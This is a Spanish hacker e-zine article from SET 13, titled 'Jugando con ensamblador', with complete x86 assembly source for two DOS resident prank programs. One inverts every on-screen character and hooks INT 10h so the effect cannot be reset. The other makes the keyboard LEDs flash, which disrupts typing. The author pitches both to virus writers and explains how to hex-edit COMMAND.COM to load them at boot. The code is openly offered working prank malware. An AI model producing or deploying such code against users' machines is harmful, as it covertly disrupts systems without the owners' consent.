SET 39 Call For Papers

¿Eres un hacker? Si deseas pasar a formar parte de la historia del hacking hispano, colabora con la próxima edición de SET 39 enviándonos un artículo. No esperes más, esta es tu oportunidad de demostrar lo que sabes. Ayúdanos a construir una revista de hackers para hackers. SET Staff

SET 13

56777 visitas

Jugando con ensamblador

      3968

Autor: Tzalik
-[ 0x0E ]--------------------------------------------------------------------
-[ JUGANDO CON ENSAMBLADOR ]-------------------------------------------------
-[ by Tzalik ]--------------------------------------------------------SET-13-

Buenas a todos los interesados en la programacion de bajo nivel. Resulta que
desde hace algun tiempo llevo comiendome el tarro por conocer un poco mas a
fondo las tripas del PC, y espero que a alguien le interese el fruto de mis
raciocinios. Lo que aqui os dejo son algunas ideas que se pueden aplicar a
los que desarrollan virus, con fuente adjunta claro ;), la teoria esta bien
pero la practica esta mucho mejor. Asi que vamos al grano.

Lo primero que os voy a contar es como hacer un programa que produzca la
inversion de los caracteres de la pantalla en modo texto del PC, y lo mejor
es que se queda residente y que por mucho que hagais "mode 80" o por mucho
intenteis llamar a servicios del BIOS para que lo restauren esto no ocurrira.
El desafortunado usuario tendra que conformarse con dar la vuelta al monitor
o rebotar para que el efecto desaparezca. Por supuesto si sois lo suficiente-
habiles con la VGA podeis arreglarlo tocando directamente los registros, pero
creo que eso no lo suele hacer mucha gente (me incluyo en el grupo :( ).

Asi mismo la idea no solo sirve para invertir los caracteres si no para
cambiar la fuente de caracteres como os de la gana, para este ejemplo he
decidido que lo de invertir seria muy didactico y muy..... artistico. ;>

El quid de la cuestion esta en un servicio del BIOS de video que sirve
para cargar las fuentes de los caracteres que la VGA mostrara por pantalla
he probado esto en MCGA y parece que no tira, pero en VGAs y superiores
hasta ahora me ha funcionado.

Destripado el servicio es este:

   INT 10h
   AH = 11h Servicio generador de caracteres
   AL = 00h Subservicio cargar fuente de usuario
   ES:BP = Puntero a la tabla de caracteres
   DX = Caracter a cambiar
   BL = Bloque de fuente a cargar
   BH = Bytes por caracter
   CX = Numero de caracteres a cambiar a partir del primero

El contenido de AX es fijo para hacer esto, 1100h, en ES:BP tenemos un
puntero a la tabla que contiene la definicion de los caracteres. Esta tabla
es muy simple. Cada caracter, dependiendo del tamanyo de la fuente, se define
por una secuencia de bytes, en 8*16 que es el modo habitual con 16 bytes.

                7  6  5  4  3  2  1  0
  Byte 0        .  .  .  *  .  .  .  .     10h
  Byte 1        .  .  *  *  *  .  .  .     38h
  Byte 2        .  *  *  .  *  *  .  .     6Ch
  Byte 3        *  *  .  .  .  *  *  .     C6h
  Byte 4        *  *  .  .  .  *  *  .     C6h
  Byte 5        *  *  .  .  .  *  *  .     C6h
  Byte 6        *  *  *  *  *  *  *  .     FEh
  Byte 7        *  *  *  *  *  *  *  .     FEh
  Byte 8        *  *  .  .  .  *  *  .     C6h
  Byte 9        *  *  .  .  .  *  *  .     C6h
  Byte A        *  *  .  .  .  *  *  .     C6h
  Byte B        *  *  .  .  .  *  *  .     C6h
  Byte C        *  *  .  .  .  *  *  .     C6h
  Byte E        *  *  .  .  .  *  *  .     C6h
  Byte F        .  .  .  .  .  .  .  .     00h

Asi que esta tabla tiene la definicion de los caracteres uno detras de otro.
En DX tenemos que poner el caracter a cambiar, por ejemplo si queremos
empezar a cambiar caracteres a partir de 'a' aqui habria que poner 97. El
contenido de BL no lo pillo, yo pongo 00h y todo funciona bien. En BH decimos
los bytes por caracter de la tabla, como antes en 8*16 son 16 bytes. Y en CX
decimos cuantos caracteres queremos modificar a partir del primero que
decimos en DX.

Una vez tienes la secuencia que define a cada caracter no hay mas que
invertir el orden de los bytes y llamar a este servicio para que un
incordiante caracter invertido adorne la pantalla!!. Aqui teneis el
codigo de una funcion en ASM que modifica un solo caracter.

;-Set_char-------------------------------------------------------------------
;Redefine un caracter
;Entrada: DX=numero ASCII del caracter
;         ES:BP=Tabla de 16 bytes con la redefinicion del caracter
set_char:
              PUSH AX                            ;Salvamos registros
              PUSH BX
              PUSH CX
              MOV AX,1100H                       ;Llamamos a la INT 10
              MOV BX,1000H                       ;establecer el caracter
              MOV CX,0001H                       ;especificado en DX
              INT 10H
              POP CX                             ;Restauramos registros
              POP BX
              POP AX
              RET
;----------------------------------------------------------------------------

Hasta aqui todo bien, pero falta algo. Hay que tener una forma de obtener
la secuencia original de bytes para poder invertirla. Para esto tenemos
otro servicio del BIOS de video que nos ayuda.

   INT 10h
   AX = 1130h Obtener informacion de tipos
   BH = Tipo de fuente

Lo unico que hay que tener en cuenta aqui es hacer la llamada con BH = 06h
para tipos 8*16. Despues de esto obtendremos en ES:BP un puntero de donde
leer la tabla. Si queremos obtener la secuencia del byte i saltamos i*16
bytes y ahi la tenemos. Para que se vea bien esto aqui esta un ejemplo, es
una funcion que retorna un puntero a la secuencia de bytes de un caracter.

;-Get_char-------------------------------------------------------------------
;Obtiene la definicion ROM 8*16
;Entrada: DX=numero ASCII del caracter
;Salida:  ES:BP=Tabla de 16 bytes con la definicion ROM del caracter

get_char:     PUSH AX                            ;Salvamos registros
              PUSH BX
              PUSH DX
              MOV AX,1130H                       ;INT 10h para obtener
              MOV BX,0600H                       ;para obtener en ES:BP
              INT 10H                            ;la tabla de tipos ROM 8*16
              POP DX                             ;la INT 10 cambia DX
              PUSH DX
              MOV AX,0010H
              MUL DX                             ;Ponemos en BP el offset
              ADD BP,AX                          ;del caracter que esta en DX
              POP DX
              POP BX                             ;Restauramos registros
              POP AX
              RET
;----------------------------------------------------------------------------

Una vez hecho esto solo hay que invertir la secuencia de bytes y llamar
a set_char(). Para invertir la secuencia de bytes no hay que alterar la
memoria que get_char() nos retorna. Copiamos la secuencia en otra parte
y ahi la cambiamos. Como por ejemplo lo que hace esta rutina.

;-Invierte_caracter----------------------------------------------------------
;Entrada:     ES:BP=Caracter original 8*16
;Salida:      ES:BP=Caracter modificado 8*16

caracter:     DB '--','--','--','--',  '--','--','--','--'
              DB '--','--','--','--',  '--','--','--','--'

invierte_caracter:

              PUSH AX                            ;salvamos registros
              PUSH CX
              PUSH DI
              PUSH SI

              MOV SI,BP                          ;bucle de inversion
              LEA DI,[15+caracter]               ;del orden de los bytes
              MOV CX,0000H
      bucle1: MOV AH,BYTE PTR ES:[SI]
              MOV BYTE PTR CS:[DI],AH
              INC CX
              INC SI
              DEC DI
              CMP CX,0010H
              JL bucle1

              PUSH CS                            ;hacemos ES:BP apuntar
              POP  ES                            ;al caracter modificado
              LEA BP,[caracter]

              POP SI                             ;salvamos registros
              POP DI
              POP CX
              POP AX

              RET
;----------------------------------------------------------------------------

Una vez que hemos llegado hasta aqui solo hay que invertir los 256 caracteres
para la sorpresa del incauto usuario, via esta rutina de abajo.

;-Invierte_256_caracteres----------------------------------------------------
;Entrada:  ninguna
;Salida:   ninguna

invierte_256_caracteres:

              PUSH ES                            ;salvamos los registros
              PUSH BP
              PUSH DX

              MOV DX,0000H                       ;bucle de inversion del
      bucle2: CALL get_char                      ;juego de 256 caracteres
              CALL invierte_caracter
              CALL set_char
              INC DX
              CMP DX,00FFH
              JL bucle2

              POP DX                             ;salvamos registros
              POP BP
              POP ES
;----------------------------------------------------------------------------

Y yas ta!! Despues de esto aunque solo esten dados la vuelta parecera que
es una jerga de otro planeta. Se puede mejorar el efecto anyadiendo toques
aleatorios, no cambiar todos sino algunos, hacer una inversion de los bytes
algo mas peculiar,...

Lo malo de esto es lo facil que es restaurar la pantalla por metodos
tradicionales. Una llamada a INT 10h AH=00h para establecer el modo de
video estropeara todo, y claro el servicio 1100h de INT 10h tambien. Asi
que lo mejor es redireccionar los servicios 00h y 1100h (tambien 1110h
porque tambien sirve para cambiar los caracteres) para que no hagan nada.
Aqui va la forma de redireccionar estos servicios de INT 10h. Esta rutina
hay que llamarla a la etiqueta 'redirec10'.

;-Redirec10------------------------------------------------------------------
;Esta rutina produce la redireccion de la INT 10h
;y anula los servicios 00h, 1100h y 1110h.
;Entrada:  ninguna
;Salida:   ninguna

;.Rutina de redireccion de INT 10h...........................................

    rutina10: CMP AH,00H                     ;if( AH==0x00 ) iret
              JE salir10
              CMP AX,1100H                   ;if( AX==0x1100 ) iret
              JE salir10
              CMP AX,1110H                   ;if( AH==0x1110 ) iret
              JE salir10
              JMP salto10
     salir10: IRET
     salto10: NOP                            ;Estos NOPs son para guardar
   desplaz10: NOP                            ;despues un salto a la INT
              NOP                            ;original.
  segmento10: NOP
              NOP
;............................................................................
   redirec10: PUSH AX                       ;salvamos registros
              PUSH BX
              PUSH DX
              PUSH DS
              PUSH ES
              PUSH BP

              ;Guardar vector de interrupcion original
              MOV BYTE PTR CS:[salto10],0EAH ;codificacion de salto lejano
              MOV AX,0000H                 ;guardamos vector de interrupcion
              MOV ES,AX                    ;arriba
              MOV BP,0040H                 ;ES:[BP]=puntero a vector INT 10h
              MOV DX,WORD PTR ES:[BP]      ;DS:DX=vector de INT 10h
              MOV DS,WORD PTR ES:[BP+2]
              MOV WORD PTR CS:[desplaz10],DX
              MOV WORD PTR CS:[segmento10],DS

              ;Modificar vector de interrupcion para que
              ;apunte a la etiqueta 'rutina10'
              PUSH CS                      ;poner nuevo vector INT 10H
              POP DS                       ;DS:DX=nuevo vector de INT 10h
              LEA AX,rutina10              ;ES:[BP]=puntero a vector INT 10h
              MOV DX,AX
              MOV AX,0000H                 
              MOV ES,AX                    
              MOV BP,0040H                 
              CLI
              MOV WORD PTR ES:[BP],DX
              MOV WORD PTR ES:[BP+2],DS
              STI

              POP BP                        ;restauramos registros
              POP ES                        
              POP DS
              POP DX
              POP BX
              POP AX

              RET
;----------------------------------------------------------------------------

Y con esto se acaba esto de hacer arte en las fuentes de caracteres. No habra
nada mas que hacer un programita que llame a invierte_256_caracteres() primero
y a redirec10() despues para tener la fuente completa. Si el orden de llamadas
se hace en sentido inverso no ocurrira nada puesto que el servicio 1100h de
INT 10h habra sido deshabilitado. Un detalle importante es que EL PROGRAMA SE
TIENE QUE QUEDAR RESIDENTE, si no el espacio en donde esta la rutina de
redireccion de INT 10h se sobreescribira y el PC inevitablemente te dejara
mas tirado que una colilla cuando alguien llame a INT 10h.

Que como rayos lo dejas residente?? Pos mira aqui.

;-PROGRAMA PARA DAR LA VUELTA A LOS CARACTERES

              ORG 0100h
              JMP inicio

;
;   Aqui pondrias el codigo de redirec10()
;
finalres:

inicio:       CALL invierte_256_caracteres
              CALL redirec10

              LEA DX,finalres                ;Terminar el programa 
              INT 27H                        ;quedandonos residentes
;
; El resto de las rutinas pueden ir aqui abajo
;

Como ya he dicho antes esto es versatil, incluso se puede hacer que
aleatoriamente cada caracter mire hacia cada uno de los cuatro vientos.
Pero esas cosas mejor ya en C, menos trabajo!! ;)

Antes de terminar dejo aqui otra idea. Se trata de hacer que los LEDs del
teclado se pongan a bailar. En este hacia izquierda, derecha y otros
movimientos mas. La teoria es muy sencilla. Se trata de escribir en un
byte de la memoria perteneciente al area de datos del BIOS, que ademas de
servir para leer el estado de estos se puede usar para pegarles un chute.
Este byte es el que esta en 0040:0017h y su contenido es este:

        7  6  5  4  3  2  1  0
        x  .  .  .  .  .  .  .   Insert locked
        .  x  .  .  .  .  .  .   Caps Lock locked    ------->
        .  .  x  .  .  .  .  .   Num Lock locked     ------->  LEDs
        .  .  .  x  .  .  .  .   Scroll Lock locked  ------->
        .  .  .  .  x  .  .  .   Alt key pressed
        .  .  .  .  .  x  .  .   Ctrl key pressed
        .  .  .  .  .  .  x  .   Left Shift pressed
        .  .  .  .  .  .  .  x   Right Shift pressed

Los bits que hay que tocar son los que estan indicados, esos son los que
se corresponden con los LEDs del teclado. El programa utiliza la interrupcion
1Ch para modificar los LEDs periodicamente. Pero como INT 1Ch se produce cada
1/18.2 seg el baile sale a toda ostia como para poder apreciar su belleza,
asi que mediante las variables 'time' y 'count2' ralentizamos. La variable
'contador' es un puntero a la tabla 'sequence', la cual contiene los bits
del baile. Y claro tambien se queda residente, si no no tendria gracia
ponerlo en el autoexec. Por cierto que el teclado se ve afectado y al pulsar
una tecla, no se repiten las pulsaciones y se alternan las mayusculas y
minusculas (porque el estado de Caps Lock cambia continuamente), pero si se
trata de joder.... }:->.

Y si con un editor HEX abris en canal al command.com, buscais la cadena
"AUTOEXEC.BAT" y la cambiais, el fichero que se ejecute en el arranque ya no
sera ese y si en ese otro fichero meteis el programita de los caracteres y
este se volveran un rato locos hasta que alguien de el en clavo. Aunque
supongo que ya se os habria ocurrido.

Aqui esta la fuente de los LEDs:

;--------------------- Leds bailando version residente ----------------------
;                 (version residente en la interrupcion 1Ch)
              ORG 100H
              JMP instalar
;
;------------------------ Rutina a dejar residente --------------------------
;............................. Zona de datos .................................
count:        DB 0FFH
count2:       DB 00H
time:         DB 03H
sequence:     DB 00100000B       ;Esta tabla es el baile de los LEDs
              DB 01100000B
              DB 01010000B
              DB 01010000B
              DB 01100000B
              DB 01000000B
              DB 00110000B
              DB 01010000B
              DB 01110000B
              DB 01110000B
;............................................................................
inicio:       ;salvar registros
              PUSH AX
              PUSH BX
              PUSH ES

              ;vemos si estamos en la primera vez count==0xFF
              CMP BYTE PTR CS:[count],0FFH     ;CS:[count]==0xFF?
              JNZ no_inicia                    ;si no no hagas nada          
              MOV AX,0040h                     ;ponemos en ES el segmento
              MOV ES,AX                        ;del area de datos BIOS
              AND BYTE PTR ES:[0017H],10001111B;iniciamos los leds
              MOV BYTE PTR CS:[count],00H
   no_inicia:
              ;vemos si el contador de espera nos permite actuar
              INC BYTE PTR CS:[count2]
              MOV AL,BYTE PTR CS:[time]
              CMP AL,BYTE PTR CS:[count2]
              JNZ no_actuar
              MOV BYTE PTR CS:[count2],00H

              ;Activamos los leds segun el byte CS:[sequence][CS:[count]]
              MOV AX,0040h                     ;ponemos en ES el segmento
              MOV ES,AX                        ;del area de datos BIOS
              MOV BH,0000H                     ;ponemos el contador en BX
              MOV BL,BYTE PTR CS:[count]
              MOV AH,BYTE PTR CS:[BX+sequence] ;ponemos el byte en AH
              XOR BYTE PTR ES:[0017H],AH       ;activamos los leds

              ;incrementamos el contador y si se pasa de 9 lo hacemos 0
              INC BYTE PTR CS:[count]
              CMP BYTE PTR CS:[count],09H
              JLE no_se_pasa
              MOV BYTE PTR CS:[count],00H
  no_se_pasa:
   no_actuar:
              ;salvar registros
              POP ES
              POP BX
              POP AX

salto:        NOP
desplaz:      NOP
              NOP
segmento:     NOP
              NOP
finalres:     NOP
;----------------------------------------------------------------------------
instalar:
              MOV AX,351CH                   ;obtener vector de la INT 1CH
	      INT 21H
	      MOV BYTE PTR [salto],0EAH      ;situar arriba
	      MOV WORD PTR [segmento],ES     ;JMP segmento:desplaz
	      MOV WORD PTR [desplaz],BX
              PUSH CS                        ;poner nuevo vector INT 1CH;
	      POP DS
	      LEA AX,inicio
	      MOV DX,AX
              MOV AX,251CH
	      INT 21H
	      LEA DX,finalres
	      INT 27H                        ;terminar quedar residente

Bueno y ya acabo, espero que esto os sirva para dar ideas a los que se
dedican a desarrolar virus, virus que te alegren el dia, seamos civilizados,
a nadie le hace gracia que le machaquen el disco duro!!. Ke os vaya bonito.

                                                              Tzalik.

[[[
šAlguien ha visto por ahi un virus que convierta el PC en una N64?
Pues a mi me gustaria verlo.
- RTFirefly
]]]